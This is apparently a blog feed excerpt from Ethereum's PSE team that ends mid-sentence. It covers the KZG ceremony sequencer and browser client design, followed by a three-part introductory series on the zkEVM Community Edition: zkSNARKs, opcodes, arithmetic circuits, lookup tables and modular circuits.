[https://github.com/zkparty/wrapper-small-pot](https://github.com/zkparty/wrapper-small-pot) ## Sequencer implementation The sequencer is a web server application that uses the crypto library as a package to check participants' contributions. To prevent a spam/bot attack, a sign-in feature was implemented. It allowed participants to [sign in with their Ethereum wallet](https://github.com/spruceid/siwe/tree/main) (SIWE modal that allowed multiple wallet-connect compatible wallets) or with their GitHub account. At the development phase we thought that a requirement of 3 or more transactions before a specific snapshot would be enough but we were wrong. In production, a lot of spam bots tried to contribute and therefore the waiting time increased exponentially. We believe these bots were trying to farm tokens or airdrops (which we didn't have and we will not have in the future). In terms of the participants' coordination process, we decided to use a lobby strategy rather than a queue strategy. A lobby means that participants have to sign-in and keep pinging the sequencer in a specific time frame until they get randomly selected to participate in the next slot. This way we ensure that participants (clients programs) are active. The ceremony had over 110,000 contributions so if a couple of thousand participants took more time than the expected (around 90 seconds), the waiting time could have increased exponentially. At the same time, a lobby gives everyone the same chances of being selected for the next slot. So if a participant client had suddenly stopped pinging the sequencer, they could rejoin the lobby and still have the same chances as before (contrary to a first-in-first-out queue mechanism that would have sent the unlucky participant to the end of the line). We expected most participants would be using the browsers on their everyday computers and most would not have had a good internet connection. We defined "malicious" users as client programs who would send a corrupt SRS (or not send a SRS at all) after being given a slot to participate. This wastes time and delays other participants from contributing. The sequencer would be able to detect corrupt SRS, blacklist them and would not let them participate afterwards unless they explicitly asked through an official channel (Telegram, Discord, Twitter and even GitHub issues). The sequencer implemented different API routes to accomplish its tasks: 1. `/info/current_state`: Serve the initial and the subsequent SRS to the participants and anybody who wanted to check the ceremony state at a specific time. 2. `/lobby/try_contribute`: participants would regularly ping into this route to report liveness and if selected, the sequencer would send the participant the current SRS for them to compute their contribution. 3. `/contribute`: it would receive the SRS before a specific time frame (to avoid participants taking too much time and making others wait) and check its validity. If true, it would save it and pass it to the next participant. If false, it would just ignore that new SRS, blacklist the participant, and send the previous SRS to the next participant to compute 4. `/info/status`: it would serve information about the ceremony such as the number of contributions, lobby size and the sequencer public address used to sign the receipts sent after each participant contribution. The sequencer was deployed in a beefy machine that could handle the amount of requests and the bandwidth to send the SRS over and over. A caching of 5 seconds was added for the /current_state route so browsers showcasing the ceremony status and its record wouldn't collapse the bandwidth. There were some changes done to the proxy to avoid a huge spam/bots attack. - Sequencer repository: [https://github.com/ethereum/kzg-ceremony-sequencer](https://github.com/ethereum/kzg-ceremony-sequencer) ## Client implementation Ethereum is built by and for its community and it was extremely important for us to create mechanisms so non-experts could participate in the ceremony. That is why the official client implementation is browser-based. We used React as our frontend framework and wasm-pack to port the crypto library Rust code as WASM to be run on the browser. The first thing the web application would ask participants is to generate entropy by moving their mouses around the screen and writing some "secret" into an input element. Behind the scenes, we would take the mouse x,y position and the instance timestamp plus the text secret and input it as the seed generation for the random secret that would go into the contribute function in WASM. After that, the website would ask the participants to sign-in and depending on the method, an extra BLS signature step would be added (only for SIWE). This method would sign the participant's secret with his wallet to let them prove their participation authenticity later in the future. Then the participant would enter into the lobby page which would show how many participants are in the lobby at that moment and the chances of being accepted (there was a time when these chances were less than 0.5%). The browser would keep pinging the sequencer every now and then. The participants could move to another tab to keep working and the pinging would continue but if they run out of battery, close their laptop, close the browser or log out from their session then the pinging would stop and they would need to re-do the process again (including a new entropy generation). If a slot were assigned, the client would have around 90 seconds to download the file, perform the computation and upload the new file. The browser will load the generated entropy into the WASM code through the wrapper functions and get the new SRS ready to be sent to the sequencer. A verification check would be performed in the client just in case any function became corrupted. If a false value were returned, we would notify the participant to post a GitHub issue asap (this particular case never happened). The biggest challenge we faced was on the deployment part. We didn't want anyone to trust us with the client implementation so we decided to build it and upload it to IPFS which returned a hash of the frontend content that can be used to access the web application itself (the frontend was also audited by an [external company](https://github.com/ethereum/kzg-ceremony#audits)). Inside our code we had two opposite components: third party popups related to custom wallets in the SIWE modals and compiled WASM code. The browser would not let you run both at the same time because it presented a vulnerability risk: the third party code (that you don't control) could run compiled WASM (that you cannot read) and execute a malicious script. To solve it we needed to set up different HTTP headers in the sign-in page and in the contributing page. The problem with this was that IPFS does not allow you to easily configure HTTP headers (you would need to configure them on the IPFS node settings and not in the application). [Geoff](https://github.com/glamperd) came up with this interesting trick involving service workers: Service workers work as a middleware between the client and the server, they were specifically designed to run offline Progressive Web Applications and device-cache strategies. We would use them to set up different HTTP headers and then the browser would recognize them and proceed normally. But because we were using a Single Page Application, we would need to refresh the page every time the participant entered the sign-in or the contributing page. So putting together service workers and a refreshing function, we were able to upload the frontend to IPFS that would allow users to login using all SIWE modal wallets and would allow WASM code computation. - Official client repository: [https://github.com/zkparty/trusted-setup-frontend](https://github.com/zkparty/trusted-setup-frontend) - DogeKZG repository: [https://github.com/Savid/dogekzg](https://github.com/Savid/dogekzg) - Other client CLI implementations: [https://github.com/ethereum/kzg-ceremony#client-implementations](https://github.com/ethereum/kzg-ceremony#client-implementations) ## Conclusion We have a team dedicated to trusted setups in the [PSE discord](https://discord.com/invite/sF5CT5rzrR) that helps developers build and deploy their own ceremonies for zero-knowledge circuits. If you need help or want to contribute to our work, feel free to ping us about questions and issues. ]]> kzg ceremony trusted setups ethereum cryptography scaling web development security infrastructure/protocol wasm <![CDATA[zkEVM Community Edition Part 1: Introduction]]> https://pse.dev/blog/zkevm-community-edition-part-1-introduction https://pse.dev/blog/zkevm-community-edition-part-1-introduction Tue, 23 May 2023 00:00:00 GMT <![CDATA[ The task of making Ethereum faster, cheaper, and easier to verify is a globally distributed effort with many moving parts. Developing zkEVMs is one piece of the effort with the majority of zkEVM projects being built as Layer 2 scaling solutions. A zkEVM capable of validating L1 blocks is on a long – and often changing – roadmap for scaling Ethereum that has been referenced as part of [“The Splurge”](https://twitter.com/VitalikButerin/status/1466411377107558402), [“ZK-SNARKing everything” on the rollup centric roadmap,](https://www.reddit.com/r/ethereum/comments/j3px5s/a_rollupcentric_ethereum_roadmap_vitalik/) [“enshrined rollups”](https://www.reddit.com/r/ethereum/comments/vrx9xe/comment/if7auu7/), and most recently [“The Verge”](https://twitter.com/VitalikButerin/status/1588669782471368704). The [zkEVM Community Edition](https://github.com/privacy-scaling-explorations/zkevm-specs) is working toward the end goal of leveraging zero-knowledge proofs to verify every L1 block: a concept known as proof of validity. There are many ways to design and build a zkEVM. The Community Edition is a collective exploration into one possible set of solutions, but [many other solutions](https://vitalik.ca/general/2022/08/04/zkevm.html) are being worked on. _This series intends to provide an overview of the zkEVM Community Edition in a way that is broadly accessible. Part 1 is an introduction to zkEVMs._ _[Part 2: Components](https://mirror.xyz/privacy-scaling-explorations.eth/AW854RXMqS3SU8WCA7Yz-LVnTXCOjpwhmwUq30UNi1Q)_ _[Part 3: Logic and Structure](https://mirror.xyz/privacy-scaling-explorations.eth/shl8eMBiObd6_AUBikXZrjKD4fibI6xUZd7d9Yv5ezE)_ ## World computer A virtual machine is a simulated computer running as software on a physical computer. In the early days, Ethereum was described as a “[world computer](https://www.youtube.com/watch?v=j23HnORQXvs)” to convey the concept of a shared virtual machine run on a distributed network. Ethereum's innovation was a virtual machine on top of a blockchain. The virtual machine created an environment for software execution, storage, and state. The blockchain allowed each node or physical computer to reach consensus or agreement on the state of the "world computer." The result was a common, persistent software environment across a distributed network called the [Ethereum Virtual Machine (EVM)](https://ethereum.org/en/developers/docs/evm/). To guarantee the same results are achieved across the network, full nodes must receive and re-execute every transaction since the first Ethereum block, which requires substantial computing resources. The zkEVM takes the EVM and adds [zero-knowledge (ZK) proofs](https://ethereum.org/en/zero-knowledge-proofs/#zk-snarks). ZK proofs can mathematically guarantee [Layer 1 (L1)](https://ethereum.org/en/layer-2/#what-is-layer-1) Ethereum transactions were run correctly. On the standard EVM, nodes run on general-purpose computers, which makes running a node accessible to everyone and allowing the network to have hundreds of thousands of participants. However, proof generation is expensive and resource-intensive. Instead of running this process on all nodes, it must be outsourced to a single specialized node: a powerful computer with specific features that make it suitable for proof generation, such as GPU acceleration or FPGA acceleration. The rest of the nodes – using general purpose computers – need only verify one proof per block. ## Levels of zkEVMs The EVM has been described as a ["beast of complexity"](https://youtu.be/W2f_GLEtobo?t=448). Many approaches exist for applying ZK proofs to the EVM – all with their own tradeoffs. As a result, building zkEVMs is an ecosystem-wide, multi-polar research and engineering effort with a variety of teams collaborating and competing to scale Ethereum at different levels. A key difference between these approaches is the level of compatibility with the EVM. Different levels of compatibility come with different tradeoffs, from complexity, decentralization and speed of implementation to the familiarity of the user experience and how much of the existing code, infrastructure and tooling can be retained. The range of zkEVMs can be separated into language-level, bytecode level, and consensus-level compatibility. - Language-level compatibility will require developers to use new code and infrastructure, but is also the fastest zkEVM to become production ready. - Bytecode compatibility requires minimal code and tooling modifications from developers. - Consensus-level compatibility happens on L1 and is the hardest to achieve, but has the benefit of scaling everything built on Ethereum by default. So far, the majority of zkEVM projects have focused on building bytecode and language compatible ZK rollups on L2. Vitalik Buterin categorized zkEVMs into different "types", each with different pros and cons. "Type 1" zkEVMs aim to deliver an experience closest to Ethereum as it is today but face challenges regarding proving time and centralization risk, while "Type 4" have the lowest cost and centralization risks but are less compatible with existing infrastructure. ![https://vitalik.ca/general/2022/08/04/zkevm.html](/articles/zkevm-community-edition-part-1-introduction/03QchdJlYoLxWmEbflSoo.webp) https://vitalik.ca/general/2022/08/04/zkevm.html ## Consensus-level compatibility The [zkEVM Community Edition](https://github.com/privacy-scaling-explorations/zkevm-circuits) is a collaborative effort focused on creating a zkEVM capable of verifying Ethereum's current execution layer. The goal is to be ["fully and uncompromisingly Ethereum-equivalent."](https://vitalik.ca/general/2022/08/04/zkevm.html) The project is being stewarded by [Privacy Stewards of Ethereum (PSE)](https://appliedzkp.org/), a team within the [Ethereum Foundation](https://ethereum.foundation/) specializing in applied zero-knowledge cryptography. The work toward completing the zkEVM Community Edition will result in two scalability solutions: 1. A 100% EVM-compatible zero-knowledge rollup on L2 2. A proof of validity for every L1 block An EVM-compatible ZK rollup will be achieved first as a byproduct of the more difficult and long-term challenge of creating a proof of validity for every L1 block. If a proof of validity is achieved, it would be possible to embed the solution inside of an L1 smart contract and use the smart contract to validate the L1 itself. The PSE team does not exist in a vacuum and welcomes contributions from anyone working towards Ethereum scalability and ZK research. Some zkEVM projects and individuals have already made valuable research and development contributions as well as incorporated Community Edition code into their own ZK rollup solutions. The more collaboration and communication there is between different zkEVM projects with their own long-term and short-term objectives and strategies, the more the Ethereum community will benefit. --- The zkEVM Community Edition is possible thanks to the contribution of many teams including the [PSE](https://appliedzkp.org/), [Scroll Tech](https://scroll.io/), and [Taiko](https://taiko.xyz/) along with many individual contributors. Teams such as [Zcash](https://electriccoin.co/) have also researched and developed proving systems and libraries that have greatly benefited zkEVM efforts. The zkEVM Community Edition is an open-source project and can be accessed in the [main repo](https://github.com/privacy-scaling-explorations/zkevm-specs). If you're interested in helping, you can learn more by visiting the [contribution guidelines](https://github.com/privacy-scaling-explorations/zkevm-circuits/blob/main/CONTRIBUTING.md). The Community Edition is being built in public and its current status can be viewed on the [project board](https://github.com/orgs/privacy-scaling-explorations/projects/3/views/1). For any general questions, feel free to ask in the [PSE Discord](https://discord.com/invite/sF5CT5rzrR). --- _This series intends to provide an overview of the zkEVM Community Edition in a way that is broadly accessible. Part 1 is an introduction to zkEVMs._ _[Part 2: Components](https://mirror.xyz/privacy-scaling-explorations.eth/AW854RXMqS3SU8WCA7Yz-LVnTXCOjpwhmwUq30UNi1Q)_ _[Part 3: Logic and Structure](https://mirror.xyz/privacy-scaling-explorations.eth/shl8eMBiObd6_AUBikXZrjKD4fibI6xUZd7d9Yv5ezE)_ ]]> zkevm zero-knowledge proofs ethereum scaling l2 rollup infrastructure/protocol proof systems virtual machine computational integrity <![CDATA[zkEVM Community Edition Part 2: Components]]> https://pse.dev/blog/zkevm-community-edition-part-2-components https://pse.dev/blog/zkevm-community-edition-part-2-components Tue, 23 May 2023 00:00:00 GMT <![CDATA[This series of articles intends to provide an overview of the zkEVM Community Edition in a way that is broadly accessible. Part 2 is a summary of the common components used in most zkEVMs.]]> <![CDATA[ _[Part 1: Introduction](/blog/zkevm-community-edition-part-1-introduction)_ _[Part 3: Logic and Structure](/blog/zkevm-community-edition-part-3-logic-and-structure)_ Before diving deeper into how the zkEVM Community Edition works, it is necessary to understand some basic concepts that are common among zkEVM projects. The following section is not technically complete and is written as a simplified introduction to zkSNARKs, opcodes, and arithmetic circuits. At a high level, the EVM state transitions from one block to the next via instructions called opcodes. To prove the EVM transitioned correctly, a ZK proof must be generated for each block and constructing this ZK proof means representing each opcode or change in the EVM as a circuit. Building a zkEVM requires finding optimal ways to efficiently translate opcodes into circuit form. Let's break down what this all means. ## Zero-knowledge proofs > "\[Zero knowledge proofs\] deliver _scalability_ by exponentially compressing the amount of computation needed to verify the integrity of a large batch of transactions."            [\- Eli Ben-Sasson](https://nakamoto.com/cambrian-explosion-of-crypto-proofs/) A ZK proof involves two parties: the prover and the verifier. In a zkEVM, the prover generates the proof of validity. The verifier checks if the proof was done correctly. An L1 proof of validity confirms every transaction on Mainnet Ethereum. For a [ZK-rollup](https://ethereum.org/en/developers/docs/scaling/zk-rollups/), the proof of validity confirms every L2 transaction on the rollup and is verified as a single L1 transaction. Zero-knowledge proofs offer the same level of security as re-executing transactions to verify their correctness. However, they require less computation and resources during the verification process. This means that more people can participate in maintaining the network by running nodes and contributing to consensus. Nodes using specialized hardware will be required to generate proofs of validity, but once the proof is posted on-chain, nearly any node will be able to verify the proof with a low-resource cryptographic operation. A zkEVM makes it theoretically possible to run an Ethereum [node on your phone](https://youtu.be/hBupNf1igbY?t=590). ## SNARKs The zkEVM uses [zkSNARKs](https://blog.ethereum.org/2016/12/05/zksnarks-in-a-nutshell): a type of ZK protocol that is general purpose and capable of turning nearly any computation into a ZK proof. Before zkSNARKs, building ZK proofs was a highly specialized math problem that required a skilled cryptographer to create a unique ZK protocol for every new function. The discovery of zkSNARKs turned the creation of ZK protocols from a specialized math problem to a [generalized programming task](https://archive.devcon.org/archive/watch/6/zkps-and-programmable-cryptography/?tab=YouTube). [zkSNARKs stand for Zero-Knowledge Succinct Non-interactive ARguments of Knowledge](https://z.cash/technology/zksnarks/). Zero-knowledge refers to the protocol's capacity to prove a statement is true "without revealing any information beyond the validity of the statement itself." Though the ZK part tends to get the most attention, it is in fact optional and unnecessary for zkEVMs. The most relevant property is succinctness. ![https://www.youtube.com/watch?v=h-94UhJLeck](/articles/zkevm-community-edition-part-2-components/Sd2dQ6Q8Y2nPIgO0cqr9j.webp) https://www.youtube.com/watch?v=h-94UhJLeck Succinct proofs are short and fast to verify. It must take less time to verify a SNARK than to recompute the statements the SNARK is proving. Quickly verifying transactions via short proofs is how zkEVMs achieve scalability. In a non-interactive proof, a single proof is submitted, and the verifier can either reject or accept the proof as valid. There is no need to go back and forth between the prover and verifier. The proof of validity is created once and stored on-chain where it can be verified by anyone at any time. ## Opcodes Every time a user makes a transaction on Ethereum, they set off a chain of instructions to change the state of the [Ethereum Virtual Machine (EVM).](https://ethereum.org/en/developers/docs/evm/) These instructions are [opcodes](https://ethereum.org/en/developers/docs/evm/opcodes/). Opcodes are the language of the EVM and each opcode has a distinct function specified in the Ethereum [yellow paper](https://ethereum.org/en/developers/tutorials/yellow-paper-evm/). Opcodes can read values from the EVM, write values to the EVM, and compute values in the EVM. Popular programming languages such as [Solidity](https://soliditylang.org/) must be translated or compiled to opcodes that the EVM can understand and run. Opcodes change the state of the EVM, whether that is the balance of ETH in an address or data stored in a smart contract. All the changes are distributed or updated to every node in the network. Each node takes the same inputs or transactions and should arrive at the same outputs or state transition as every other node in the network – a secure and decentralized, but slow and expensive way to reach consensus. The zkEVM is attempting to prove the EVM transitioned from its current state to its new state correctly. To prove the entire state transitioned correctly, the zkEVM must prove each opcode was executed correctly. To create a proof, circuits must be built. ## Circuits SNARKs are created using [arithmetic circuits](https://en.wikipedia.org/wiki/Arithmetic_circuit_complexity), a process also known as [arithmetization](https://medium.com/starkware/arithmetization-i-15c046390862). Circuits are a necessary intermediate step between EVM opcodes and the ZK proofs that validate them. A circuit defines the relation between public (revealed) and private (hidden) inputs. A circuit is designed so that only a specific set of inputs can satisfy it. If a prover can satisfy the circuit, then it is enough to convince the verifier that they know the private inputs without having to reveal them. This is the zero-knowledge part of zkSNARKs. The inputs do not need to be made public to prove they are known. ![https://archive.devcon.org/archive/watch/6/eli5-zero-knowledge/?tab=YouTube](/articles/zkevm-community-edition-part-2-components/rvCrquqQ87uVWOD6dvtg_.webp) https://archive.devcon.org/archive/watch/6/eli5-zero-knowledge/?tab=YouTube To create a SNARK, you must first convert a function to circuit form. Writing a circuit breaks down the function into its simplest arithmetic logic of addition and multiplication. Because addition can express linear computations and multiplication can express exponential computations, these two simple operations become highly expressive when stacked together and applied to polynomials. ![Polynomials are math expressions with "many terms." ](/articles/zkevm-community-edition-part-2-components/gizYcrA2NKJ4Ow11FlxqJ.webp) Polynomials are math expressions with "many terms." In the context of this article, it is only necessary to know that polynomials have two useful properties: they are easy to work with and can efficiently encode a lot of information without needing to reveal all the information it represents. In other words, polynomials can be succinct: they can represent a complex computation yet remain short and fast to verify. For a complete explanation of how zkSNARKs work and why polynomials are used, [this paper](https://arxiv.org/pdf/1906.07221.pdf) is a good resource. For a practical explanation of how polynomial commitments schemes are applied in Ethereum scaling solutions, check out [this blog post](https://scroll.io/blog/kzg). With the basic mathematical building blocks of polynomials, addition, and multiplication, circuits can turn nearly any statement into a ZK proof. In circuit form, statements become testable: verifiable and provable. ![Visualization of a simple arithmetic circuit https://node101.io/blog/a_non_mathematical_introduction_to_zero_knowledge_proofs](/articles/zkevm-community-edition-part-2-components/G1B3_UHeZ8CLMErT4K3pr.webp) Visualization of a simple arithmetic circuit https://node101.io/blog/a\_non\_mathematical\_introduction\_to\_zero\_knowledge\_proofs In a circuit, gates represent arithmetic operations (addition or multiplication). Gates are connected by wires and every wire has a value. In the image above: - Left hand circuit represents the equation: _a + b = c_ - Right hand circuit represents the equation: _a x b = c_ The input wires are _a_ and _b_; and can be made public or kept private. The output wire is _c_. The circuit itself and output _c_ is public and known to both the prover and verifier. ![Example of a slightly more complex circuit https://nmohnblatt.github.io/zk-jargon-decoder/definitions/circuit.html](/articles/zkevm-community-edition-part-2-components/R9tDApVpc4eEEVAVoiFYo.webp) Example of a slightly more complex circuit https://nmohnblatt.github.io/zk-jargon-decoder/definitions/circuit.html In the image above, the circuit expects: - Inputs are *x*₀, *x*₁, and *x*₂ - Output is *y = 5x*₀ *\+ 3(x*₁ *\+ x*₂) For a prover to demonstrate they know the private inputs without revealing them to the verifier, they must be able to complete the circuit and reach the same output known to both parties. Circuits are designed so that only the correct inputs can go through all the gates and arrive at the same publicly known output. Each step is iterative and must be done in a predetermined order to satisfy the circuit logic. In a sufficiently designed circuit, there should be no feasible way a prover can make it through the circuit without knowing the correct inputs. In the zkEVM Community Edition, circuits must prove that each transaction, all the opcodes used in the transaction, and the sequence of the operations are correct. As building circuits is a new and rapidly evolving field, there is still no "right way" to define the computation the circuit is trying to verify. To be practical, circuits must also be written efficiently in a way that minimizes the number of steps required while still being capable of satisfying the verifier. The difficulty of building a zkEVM is compounded by the fact that the skills required to build the necessary components are rare. The Community Edition is an attempt to overcome both the technical and organizational challenges of building a consensus-level compatible zkEVM. The goal is to create a public good that serves as a common point of collaboration for the zkEVM community. --- The zkEVM Community Edition is possible thanks to the contribution of many teams including the [PSE](https://appliedzkp.org/), [Scroll Tech](https://scroll.io/), and [Taiko](https://taiko.xyz/) along with many individual contributors. Teams such as [Zcash](https://electriccoin.co/) have also researched and developed proving systems and libraries that have greatly benefited zkEVM efforts. The zkEVM Community Edition is an open-source project and can be accessed in the [main repo](https://github.com/privacy-scaling-explorations/zkevm-specs). If you're interested in helping, you can learn more by visiting the [contribution guidelines](https://github.com/privacy-scaling-explorations/zkevm-circuits/blob/main/CONTRIBUTING.md). The Community Edition is being built in public and its current status can be viewed on the [project board](https://github.com/orgs/privacy-scaling-explorations/projects/3/views/1). For any general questions, feel free to ask in the [PSE Discord.](https://discord.com/invite/sF5CT5rzrR) --- _This series of articles intends to provide an overview of the zkEVM Community Edition in a way that is broadly accessible. Part 2 is a summary of the common components used in most zkEVMs._ _[Part 1: Introduction](https://mirror.xyz/privacy-scaling-explorations.eth/I5BzurX-T6slFaPbA4i3hVrO7U2VkBR45eO-N3CSnSg)_ _[Part 3: Logic and Structure](https://mirror.xyz/privacy-scaling-explorations.eth/shl8eMBiObd6_AUBikXZrjKD4fibI6xUZd7d9Yv5ezE)_ ]]> zkevm zero-knowledge proofs ethereum scaling snarks circuits computational integrity cryptography proof systems education <![CDATA[zkEVM Community Edition Part 3: Logic and Structure]]> https://pse.dev/blog/zkevm-community-edition-part-3-logic-and-structure https://pse.dev/blog/zkevm-community-edition-part-3-logic-and-structure Tue, 23 May 2023 00:00:00 GMT <![CDATA[This series intends to provide an overview of the zkEVM Community Edition in a way that is broadly accessible. Part 3 reviews the general logic and structure of the zkEVM Community Edition.]]> <![CDATA[ _[Part 1: Introduction](/blog/zkevm-community-edition-part-1-introduction)_ _[Part 2: Components](/blog/zkevm-community-edition-part-2-components)_ The zkEVM Community Edition has the challenge of creating proofs to validate EVM execution as it is today. To make this feasible, a system of interconnected circuits has been designed to prove the correctness of EVM opcodes while dealing with the inefficiencies of converting EVM opcodes to ZK proofs. There are many ways to design and build a zkEVM. This post explains one possible architecture. Other valid solutions exist and are being worked on throughout the ecosystem. ## An unfriendly virtual machine Creating a 100% EVM compatible zkEVM means not having the luxury of changing anything about the current EVM. No modifications. No shortcuts. Unfortunately for zkEVM developers, many EVM operations such as random read-write data access and traditional hash functions like Keccak256 are not friendly to SNARKs. To make things even more difficult, building efficient circuits is still a highly manual process requiring a high level of both mathematical ability and programming skills. A good proof of validity should minimize proving time (how long it takes to generate a ZK proof) and proof size (how much data the proof takes up) while still being able to satisfy the verifier and be secure. If both are too high, the zkEVM becomes too costly to be practical. Generating and storing proofs of validity would be prohibitively expensive and only those with powerful computers could participate. EVM opcodes are unfriendly to SNARKs for two main reasons: 1. 256-bit operations vs prime field operations The EVM uses different sets of numbers and mathematical operations compared to SNARKs. SNARKs are cheap because they use addition and multiplication over a finite set of numbers called a prime field. In contrast, the EVM uses many arithmetic operations in 256-bit words. Emulating the EVM's 256-bit operations with the prime field operations used by SNARKs is expensive and requires clever circuit design to be practical. 2. Variable paths vs fixed paths The other unfriendly aspect of the EVM is it uses a common CPU architecture where execution can take conditional or variable paths. The state of the EVM changes frequently within a single block, but in SNARKs, conditional execution is expensive. In general, the cost adds up with every variable path. If there are 100 paths that could be taken, all of them must be paid for even if only one is taken. To deal with variable paths, the zkEVM dynamically transfers data between circuits using [lookup tables](https://eprint.iacr.org/2020/315): arrays of data that match inputs to outputs. With lookup tables, an expensive (and recurrent) variable path can be outsourced to another circuit that has a repeating pattern. For example, if an operation has 100 steps that may take the expensive variable path, the circuit can limit the number of times the variable path is taken. Instead of paying the cost of the path 100 times, the cost is limited to a smaller number of times in the outsourcing circuit. The cost is still more than simply paying for the minimum necessary steps required, but it is less than the cost if lookup tables were not used at all. Variable paths are a big challenge in regards to programming circuits and lookup tables are a practical (but not completely efficient) solution. Though creating an efficient system of circuits is a substantial technical challenge, overcoming this challenge will result in scalability benefits shared by the entire Ethereum ecosystem. Developers automatically get SNARK-enabled scalability without needing to write their own circuits. ## Aggregated proofs The zkEVM is designed to create a proof of validity for each L1 block. Under the hood, a proof of validity is an aggregate proof made of smaller, interdependent proofs and circuits. The proof of validity is a proof of other proofs. To create an aggregate proof system, the zkEVM uses a custom [fork of HALO2](https://github.com/privacy-scaling-explorations/halo2/), which is a zkSNARK system allowing for [recursive proof composition](https://www.michaelstraka.com/posts/recursivesnarks/), in which a single aggregate proof can be used to verify a practically unlimited number of other proofs. In the current implementation, the system generates two proofs. The first proof is created from a comprehensive circuit that encompasses all subcomponents necessary to verify an Ethereum block. The second proof verifies the first proof and produces a smaller, more manageable proof that is suitable for on-chain storage and verification. ![https://privacy-scaling-explorations.github.io/zkevm-docs/design/recursion.html](/articles/zkevm-community-edition-part-3-logic-and-structure/34TA7Yi1E9BNf7gvImSy7.webp) https://privacy-scaling-explorations.github.io/zkevm-docs/design/recursion.html All the operations in a transaction are validated by circuits. Proofs are derived from circuits. An aggregation circuit could take the EVM and State proofs as inputs, then the aggregation proof – derived from the aggregation circuit – becomes our proof of validity: the single ZK proof that verifies all the transactions in a block. The zkEVM Community Edition is rapidly evolving and designs may change, but the general logic of the system is to split the EVM into modular pieces with different circuits representing various sets of similar opcodes. Breakthroughs in cryptography may also change how the zkEVM is designed. For example, the recursive proof composition technique used in [HALO2](https://electriccoin.co/blog/explaining-halo-2/) was only [discovered in 2019](https://eprint.iacr.org/2019/1021.pdf). ## Modular circuits The zkEVM architecture is designed so each circuit validates a set of operations and different circuits talk to each other. Each circuit has their own custom constraints and no one circuit does all the work. The architecture is modular. Different circuits have different roles, and some circuits can absorb the workload from other circuits through the use of [lookup tables](https://privacy-scaling-explorations.github.io/zkevm-docs/architecture.html#circuit-as-a-lookup-table). Lookup tables allow specialized circuits to communicate with each other. For example, in the EVM Circuit, the SHA3 opcode requires computation of the Keccak hash function, but computing Keccak is a complicated circuit to implement. Instead of implementing the Keccak circuit inside the EVM circuit, we create a lookup table of Keccak inputs to outputs. A specialized Keccak circuit was built to ensure the input-to-output values in the lookup table are correctly computed. The EVM circuit can then safely consume the values in the lookup table because the values were validated by the Keccak circuit. A circuit does two things, verify the operation or computation it was designed to verify and generate lookup tables that can be used by other circuits. The data generated by the lookup table is also verified by the circuit. For example, once the State Circuit is verified to satisfy its own relation, its columns are synthesized to be a lookup table for the EVM Circuit to do random access. The EVM relies on random access memory to store and retrieve data during execution. Each step in the execution verifies an opcode, and these opcodes often involve reading or writing memory at arbitrary locations. To ensure correctness, it is crucial to prove that each step accesses the correct memory value. The Community Edition adopts a dual table approach – an idea invented by the broader zkVM community – in order to handle random access memory. 1. The Execution Trace contains all the instruction steps of a trace with their associated memory accesses, which can be reads or writes. These steps are sorted chronologically, the same way they happened originally in the execution of the program. Here we associate a timestamp on each memory access, which is proved to increase sequentially. 2. Read/Write Trace keeps track of all the memory accesses (the same ones that appear in the execution trace), but they are sorted by memory location first, and timestamp second. This spatial sorting verifies that each successive memory access at the same location contains the correct value. 3. Finally a permutation check is performed on the memory accesses from both sides to guarantee that the same entries appear on both sides. All this guarantees that every time a memory location is read in the execution trace, it will contain the same value that was previously written at that location, no matter how many steps ago that happened. ![](/articles/zkevm-community-edition-part-3-logic-and-structure/JaNR4LpLmaFxdzyfJ8Ea7.webp) The zkEVM Community Edition is a rapidly evolving design. Each circuit iterates over and validates different parts of the computation required to process an Ethereum block, and they are all coordinated from the EVM Circuit which processes the steps (opcodes) of each transaction. ![](/articles/zkevm-community-edition-part-3-logic-and-structure/WHGAPSvjJMhCp45mrzwwa.webp) The [EVM Circuit](https://github.com/privacy-scaling-explorations/zkevm-specs/blob/83ad4ed571e3ada7c18a411075574110dfc5ae5a/specs/evm-proof.md) is only concerned with execution. Specifically, the EVM Circuit validates [geth execution traces](https://geth.ethereum.org/docs/dapp/tracing) and verifies the transactions in the block have the correct execution results. This is usually done one opcode at a time to check each individual step in the transaction and to confirm the correct opcode was called at the correct time. The EVM Circuit is the final check to confirm the transaction and the State Circuit are valid. [State Circuit](https://privacy-scaling-explorations.github.io/zkevm-docs/architecture/state-circuit.html): - Verifies that each piece of data is consistent between different reads and writes (i.e. the data was changed correctly). It also serves as the lookup table for the EVM circuit to do random read-write access (i.e. access EVM data). [Tx Circuit](https://privacy-scaling-explorations.github.io/zkevm-docs/architecture/tx-circuit.html#tx-circuit): - Verifies each transaction has a valid signature. It also serves as a lookup table for the EVM circuit to access data in the transaction. [Bytecode Circuit](https://privacy-scaling-explorations.github.io/zkevm-docs/architecture/bytecode-circuit.html#bytecode-circuit): - Verifies each bytecode has a valid hash. It also serves as a lookup table for the EVM circuit to access data of any "index of bytecode." [ECDSA Cicruit](https://privacy-scaling-explorations.github.io/zkevm-docs/architecture/ecdsa-circuit.html#ecdsa-cicruit): - Verifies the public key from the signature is valid. It also serves as a lookup table for EVM and Tx circuit to do public key recovery. [Keccak Circuit](https://privacy-scaling-explorations.github.io/zkevm-docs/architecture/keccak-circuit.html#keccak-circuit): - Verifies each hash is valid. It also serves as a lookup table for the EVM, Bytecode, Tx, and MPT circuit to calculate hash functions. [Merkle Patricia Trie (MPT) Circuit](https://privacy-scaling-explorations.github.io/zkevm-docs/architecture/mpt-circuit.html#merkle-patricia-trie-circuit): - Verifies each update is valid. It also serves as a lookup table for the State and Tx circuit to update the Merkle Patricia Trie. **Copy Circuit:** - Verifies copies of chunks of bytes. For example, from Memory to Bytecode when deploying a contract, or from Tx to Memory when reading a tx calldata. Used by the EVM Circuit as a lookup table to verify byte array copies **Block Circuit:** - Verifies the block Hash. Used by the EVM Circuit to lookup block fields. **Public Input Circuit:** - Serves as the interface between the public information that the verifier sees and the circuits. **RLP Circuit** - Verifies the RLP serialization into bytes of Ethereum objects like transactions and blocks. Writing optimal circuits means creating a system of polynomial equations with the minimum number of sufficient constraints. Though crucial infrastructure and tooling for writing circuits have been developed in recent years, circuit programming languages are still relatively unknown and low-level. Until [simpler languages](https://zkresear.ch/t/lookup-singularity/65) or more automated systems are developed, writing circuits optimally will remain a challenging problem to solve, even for experienced developers. The ability to audit circuits is also a valuable skill in this field. ![](/articles/zkevm-community-edition-part-3-logic-and-structure/olZ-qNCw3tmZH5otPdKF_.webp) However, the zkEVM community aims to be inclusive and supportive of individuals who are interested in learning and contributing. If you have a background in Rust or experience with other zkSNARK tooling like circom, you already have a good foundation for understanding the concepts behind the zkEVM. With a dedicated learning phase of 1-2 months, you should be well-equipped to make valuable contributions. A consensus level zkEVM that proves the 